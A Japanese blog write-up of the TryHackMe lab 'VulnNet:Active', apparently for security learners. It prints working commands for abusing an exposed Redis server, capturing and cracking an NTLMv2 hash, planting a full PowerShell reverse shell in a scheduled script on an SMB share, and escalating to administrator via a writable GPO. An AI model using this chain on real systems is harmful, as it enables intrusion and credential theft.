脆弱なRedisを攻撃【TryHackMe- VulnNet:Active -Writeup】

ブロックが並んでいる
※当サイトはプロモーションが含まれています

今回は、TryHackMeで提供されている「VulnNet:Active」というルームの攻略をしていきます。

このルームでは以下のことを体験できます。

脆弱なRedisを悪用して指定したコマンドを実行

ImpacketのResponder を使いNTLMv2ハッシュを取得。

SMBサーバ上にある定期的に実行されるスクリプトを書き換え、ユーザ権限のリバースシェルを取得。

BloodHoundとSharpHoundを使って権限昇格の攻撃経路を明らかにする。

書き換え可能なGPOを利用して管理者権限に昇格。

これらのことに興味がある方が今回の読者の対象です。

ぎんた

無料でアクセス可能なので、試してみたい方はやってみてね。

目次

Userフラグの取得

サービスの列挙

以下のコマンドで列挙を実施します。

nmap -sSV -T4 10.10.14.109

10.10.14.109:被害端末のIP

nmapによるサービスの列挙

DNS(53番ポート)SMB(139、445番ポート)、RCP(135番ポート)、Redisサーバ(6379番ポート)などを確認できます。

ぎんた

SMBの調査をおこなったものの、認証情報が不明なため充分な情報を得られず。。

Redisサーバが公開されているのでこちらの調査を実施します。

Redisサーバの列挙

Redisはメモリ上で動作するNoSQLのデータベースです。

デフォルトだと認証なしでテキストベースのインタフェースでアクセス可能とのこと。

redis-cliを使って列挙を行います。

事前にツールをインストールします。

apt install redis-tools

続いて、以下のコマンドでRedisサーバに接続し、現在の設定を列挙します。

redis-cli -h 10.10.14.109

config get *

10.10.14.109:被害端末のIPアドレス

redisの設定を列挙

ここで、enterprise-securityというユーザ名と、Redisサーバのバージョン情報(2.8.2402)が判明しました。

以前のバージョンのRedisサーバを悪用

以前のバージョンのRedis(2.8.2402もその中に含まれている)を悪用する方法を紹介している記事があります。

Trying to hack Redis via HTTP requests

今回は以下のコマンドを使用して、LFI(Local File Inclusion)で行われるようなファイルの内容を閲覧できるかを確認します。

redis-cli -h 10.10.14.109 eval “dofile(‘C:\\Users\\enterprise-security\\Desktop\\user.txt’)” 0

User.txtの内容を確認

user.txtは確認できそうです。

NTLMv2ハッシュの取得とパスワードクラックを実施

先ほどは端末内のファイルにアクセスできることが分かりました。

次に、被害端末から攻撃側端末の共有フォルダへのアクセスを試みてみます。

被害端末のユーザが共有フォルダへのアクセスを試みる際に、アクセスのログを確認することでNTLMハッシュを取得できるかもしれません。

こころ

そんな方法があるのか~、びっくり。

上記作業を行うために、ImpacketのResponderを攻撃側端末上で起動します。

sudo responder -I ens5

次に被害端末から公開されている攻撃側端末の共有フォルダにアクセスします。

redis-cli -h 10.10.14.109 eval “dofile(‘//10.10.57.36/test’)” 0

10.10.14.109:被害端末のIPアドレス
10.10.57.36:攻撃側端末のIPアドレス

NTLMv2ハッシュを発見

ユーザの NTLM v2ハッシュを含んだリクエストを取得できました。

続いて、hashcatを使って取得したハッシュ値を解読します。

取得したハッシュをhash.txtに保存し、以下のコマンドを実施します。

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

-mの引数に指定するコマンドについては、「Example hashes」で検索すると一覧表を取得できますので、参考にしてください。

パスワードを解読

数秒で解読できました。

enterprise-securityユーザのパスワードが判明しました。

SMBサーバの列挙とユーザ権限のリバースシェルの取得

初めにSMBサーバを調査したときは認証情報が無かったので有用な情報が得られませんでした。

先ほど判明したパスワードを使用してsmbclientで接続します。

smbclient -L //10.10.14.109 -U enterprise-security –password=xxx

Sharename       Type      Comment

———       —-      ——-

ADMIN$          Disk      Remote Admin

C$              Disk      Default share

Enterprise-Share Disk     

IPC$            IPC       Remote IPC

NETLOGON        Disk      Logon server share

SYSVOL          Disk      Logon server share

Enterprise-Shareが気になりますので確認してみます。

smbclient //10.10.14.109/Enterprise-Share -U enterprise-security –password=xxx

スクリプトを発見

PurgeIrrelevantData_1826.ps1というスクリプトがありました。

こころ

絶対なんかに利用できそうだよね。

ぎんた

利用してくれと言わんばかりの匂いがするね。
ダウンロードして確認してみよう。

ダウンロードして攻撃側端末で中身を確認します。

get PurgeIrrelevantData_1826.ps1

cat PurgeIrrelevantData_1826.ps1

rm -Force C:\Users\Public\Documents\* -ErrorAction SilentlyContinue

おそらく定期的に実行されるタスクだろうと思われます。

このスクリプトを以下のように書き換えて、攻撃側端末にリバースシェルを確立させます。

$client = New-Object System.Net.Sockets.TCPClient(“10.10.14.109”,1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + “PS ” + (pwd).Path + “> “;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

書き換えたスクリプトを被害端末にアップロードします。

put PurgeIrrelevantData_1826.ps1

(smbclinet経由)

続いて、攻撃端末側でリバースシェル接続を待ち受けます。

nc -lvnp 1234

少しするとユーザ権限のシェルを取得し、ユーザフラグを獲得できます。

userフラグを取得
こころ

ひとまずユーザフラグはゲット!

Rootフラグの取得

SharpHoundとBloodHoundを使った攻撃経路の探索

今回は、SharpHoundとBloodHoundを使って権限昇格の攻撃経路を探索します。

まずは、SharpHound.exeをネット上で検索し攻撃側端末にダウンロードします。

続いて、smbclinet経由でアップロードし、実行します。

put SharpHound.exe

リバースシェルで以下のコマンドを実行します。

./SharpHound.exe

Sharphoundを実行

SharpHoundを実行した結果、zipファイルが生成されます。

SharpHound実行後にzipファイルが作成される
ぎんた

SharpHoundで必要なデータを収集して、攻撃端末側でBloodHoundに読み込ませて解析するよ。

smbclinet経由でダウンロードします。

get 20230629230640_BloodHound.zip

続いて、攻撃側端末でBloodHoundを実行し、ダウンロードしたデータを分析します。

neo4j console

bloodhoundを実行

http://localhost:7474/に接続するブラウザが起動するので、以下の認証情報を入力します。

ユーザ名:neo4j

パスワード:neo4j

「Upload data」ボタンをクリックし、zipファイルをアップロードしますと解析が始まります。

ZipファイルをBloodHoundにアップロード

現在のenterprise-securityユーザから管理者への最短パスを分析します。

「Find Shortest Paths to Domain Admins」をクリックして解析。

GenericWrite権限を発見

結果を確認すると、GPOの一つ(security-pol-vn)にGenericWrite権限があるようです。

enterprise-securityユーザがsecurity-pol-vnに書き込む権限があり、この設定を利用して管理者権限を取得します。

GenericWrite権限を使用したGPOの書き込みと権限昇格

GenericWrite権限を使用したGPOの書き込みを行うため、SharpGPOAbuse.exeというツールを使います。

ネットで検索して事前に攻撃側端末にダウンロードします。

ダウンロードしたらEnterprise-Share共有フォルダ経由でアップロードします。

put SharpGPOAbuse.exe

アップロード後、リバースシェルで以下のコマンドを実行します。

GPONameにSECURITY-POL-VNを指定し、管理者グループにenterprise-securityを追加します。

.\SharpGPOAbuse.exe –AddComputerTask –TaskName “babbadeckl_privesc” –Author vulnnet\administrator –Command “cmd.exe” –Arguments “/c net localgroup administrators enterprise-security /add” –GPOName “SECURITY-POL-VN”

SharpGPOAbuseを実行

実行後「net user enterprise-security」を実行することで、Administratorグループに追加されたことを確認できます。

Administratorグループに追加

続いて以下のコマンドを実行し、グループポリシーの適用を強制します。

gpupdate \force

終了したらpsexecを使用して、新しい権限で被害端末にアクセスします。

psexecを実行

被害者マシンが落ちて再起動したため、IPアドレスが変わっています。

以下のディレクトリに移動し、フラグを取得できます。

cd C:\Users\Administrator\Desktop\

cat system.txt

rootフラグを取得

まとめ

今回行った攻撃は以下のとおりです。

Redisの脆弱性を悪用してリモートのSMB共有フォルダにアクセスさせ、NTLMv2ハッシュを取得。

SMBサーバ上にある定期的に実行されるスクリプトを書き換え、ユーザ権限のリバースシェルを取得。

BloodHoundとSharpHoundを使って権限昇格の攻撃経路を明らかにする。

書き換え可能なGPOを利用して管理者権限に昇格。

なかなか面白いルームでした。

この記事が参考になれば幸いです。

サイバーセキュリティを学ぶ上で必要な攻撃と解析に関する他の記事は、以下のリンクで確認できます。

学習に関しましては、以下のセキュリティの勉強法、おすすめの学習本・動画の記事が多くの方に読まれています。

資格の記事については以下の記事がおすすめです。

ITエンジニアへの転職については以下の記事がおすすめです。

その他学習・転職関連に関しましては、以下の記事もあわせて読まれています。

ぜひご覧ください!

よかったらシェアしてね!
目次